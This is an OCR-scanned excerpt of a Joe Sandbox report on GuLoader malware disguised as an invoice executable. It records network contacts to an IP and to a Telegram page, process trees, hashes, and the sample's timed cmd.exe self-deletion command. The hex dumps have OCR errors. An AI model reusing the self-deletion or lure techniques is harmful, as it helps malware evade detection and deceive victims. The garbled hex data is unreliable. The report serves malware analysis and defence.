409c 17 93 €9 66 15 7a 56 9b 41 a3 12 1b 59 2f 09 c2 86 cO cc 73 a3 50 d9 5e 4e f0 5f 6a ce 21 53 12 9e a3 81 66 1f 6¢
33 6a 2a 6b 95 68 9c 97 c0 76 aa b0 58 cO ae 4c 7e el a3 81 39 c8 31 fa 30 7f 5d 9d 2c 5e 8a c4 cc 26 fc 91 2a 38 90 19
2e 3350 ca 27 ec 3f 1f 78 74 ae €9 75 67 7e b9 e6 8e 89 fc 17 90 d7 13 e6 cc a3 df 9e bf f5 42 25 4f ad 34 5a 48 45 59 3¢
69 2a 70 52 90 b7 8c 44 1c 3f 52 bc eb 2a 27 al 64 79 68 c¢7 c4 9d 43 53 81 0b 22 68 00 2d 1c Of 2d be a6 04 ba 66 a8 af
7 84 17 Oc 53 08 1d a8 a6 41 c2 ee 03 24 2c 4d 6a bf a8 5a 8b b1 64 8b 71 22 3b a5 fe 73 1a f4 fa 5f 75 2b 85 48 58 3c 5f
07 5b 5f e4 eb 6¢ 81 6d 56 35 33 41 a6 7e 4b 21

Data Ascii: A*&$*t(Nr<n@fzVAY/sP~N_]j!SfI3j*khvXL~910],"&*8.3P'?xtug~B%O4ZHEY<i*pRD?R*'dyhCS"h--fSA$,
MjZdq";s_u+HX<_[ ImV53A~K!

Data Raw: 50 65 cc 4d e8 92 4a cb 18 5d d2 78 ea 3f 12 43 4f 9c b1 30 b7 e6 5a af ¢3 93 d2 11 69 4f ce df 39 e0 32 2 1f
57 99 34 a2 d8 13 9c d4 9c cf 7b 60 d6 31 06 c3 ff 9f 1c 3b 26 4f 20 a6 be 16 7a d2 08 57 ba fb bb ed dc 50 89 4a c2 76 81
ef dc 0f 3a 22 ba a7 30 ch c2 54 3c bl 4b 80 8e 63 4d a2 58 bf cd 6d 62 a9 b7 df b3 06 ee a9 2f de 1e b8 ce 8f 1b Oc 73 bb
98 51 d1 fe 67 17 df 7d 2b 7d 15 df 03 83 0a b7 bd fb 29 32 96 16 5a 12 bf 5d ed 2b f8 fb 3c €8 38 a2 2d 60 93 c3 e5 99 4d
ab eb 4f 16 3c 53 1e bc 1f 70 1d 8c 10 22 59 39

Data Ascii: PeMJ]x?CO0Zi092W4{ 1;&0 zWPJv:"0T<KcMXmb/sQg}+})2Z]+<8-"MO<Sp"Y9

Destination IP Destination Port Process

195.201.225.248 443 C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER
2021 shipment.exe
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kBytes

Timestamp transferred Direction
2021-09-13 23:07:18 UTC 571 ouT
2021-09-13 23:07:18 UTC 571 IN
2021-09-13 23:07:18 UTC 571 IN

Code Manipulations

Statistics

Behavior

)

Click to jump to process

System Behavior

Data

GET /marinolumuop HTTP/1.1
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: text/plain; charset=UTF-8
Host: telete.in

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 13 Sep 2021 23:07:18 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close

Set-Cookie: stel_ssid=b9a70f248e78246aa9_6647241347051374162; expires=Tue, 14 Sep 2021 23:07:18 GMT; path=/; s

amesite=None; secure; HttpOnly
Pragma: no-cache
Cache-control: no-store
X-Frame-Options: SAMEORIGIN

Strict-Transport-Security: max-age=35768000

Data Raw: 31 31 62 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 3e Oa 20 20 3c 68 65 61 64
3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65
3e 54 65 6¢ 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6d 61 72 69 6e 6f 6¢ 75 6d 75 6f 70 3c 2f 74 69 74 6¢ 65 3e
0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64

74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 22 3e Oa 20 20 2
020 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6¢ 65 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 7

2 69 6e 6f 6¢ 75 6d 75 6f 70 22 3e Oa 3c 6d 65 74 61 20 70 72 6f

Data Ascii: 11b7<!IDOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @marinolum
uop</tittle> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta property="og:title" conte

nt="marinolumuop"><meta pro

Analysis Process: usd15.030 payment copy & signed invoice SEPTEMBER 2021

shipment.exe PID: 3952 Parent PID: 5212

General

Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

01:02:44
14/09/2021

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021

shipment.exe

true

‘C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 sh

ipment.exe’
0x400000
131072 bytes

257E1F881863B023FCDDAEDB2AC22E68

true
true

Visual Basic
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Yara matches:

Reputation:

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000000.00000002.541230200.00000000022F0000.00000040.00000001.sdmp, Author:
Joe Security

low

File Activities

Show Windows behavior

Analysis Process: usd15.030 payment copy & signhed invoice SEPTEMBER 2021

shipment.exe PID: 6248 Parent PID: 3952

General

Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Deleted

File Written

File Read

01:04:58
14/09/2021

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021
shipment.exe

true

‘C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 sh
ipment.exe’

0x400000

131072 bytes
257E1F881863B023FCDDAEDB2AC22E68
true

true

C, C++ or other language

low

Show Windows behavior

Analysis Process: cmd.exe PID: 1768 Parent PID: 6248

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Copyright Joe Security LLC 2021

01:07:26

14/09/2021
C:\Windows\SysWOWe64\cmd.exe
true

cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q ‘C:\Users\user\Desktop\usd15.030
payment copy & signed invoice SEPTEMBER 2021 shipment.exe'

0x150000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

high

Show Windows behavior
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Analysis Process

: conhost.exe PID: 2424 Parent PID: 1768

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

01:07:27

14/09/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7ecfc0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: timeout.exe PID: 6968 Parent PID: 1768
General
Start time: 01:07:27
Start date: 14/09/2021
Path: C:\Windows\SysWOWS64\timeout.exe

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Reputation:

File Activities

File Written

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

true

timeout /T 10 /NOBREAK

0x12a0000

26112 bytes
121A4EDAEGOA7AF6F5DFA82F7BB95659
true

true

C, C++ or other language

high

Show Windows behavior

Joe Sandbox Cloud Basic 33.0.0 White Diamond
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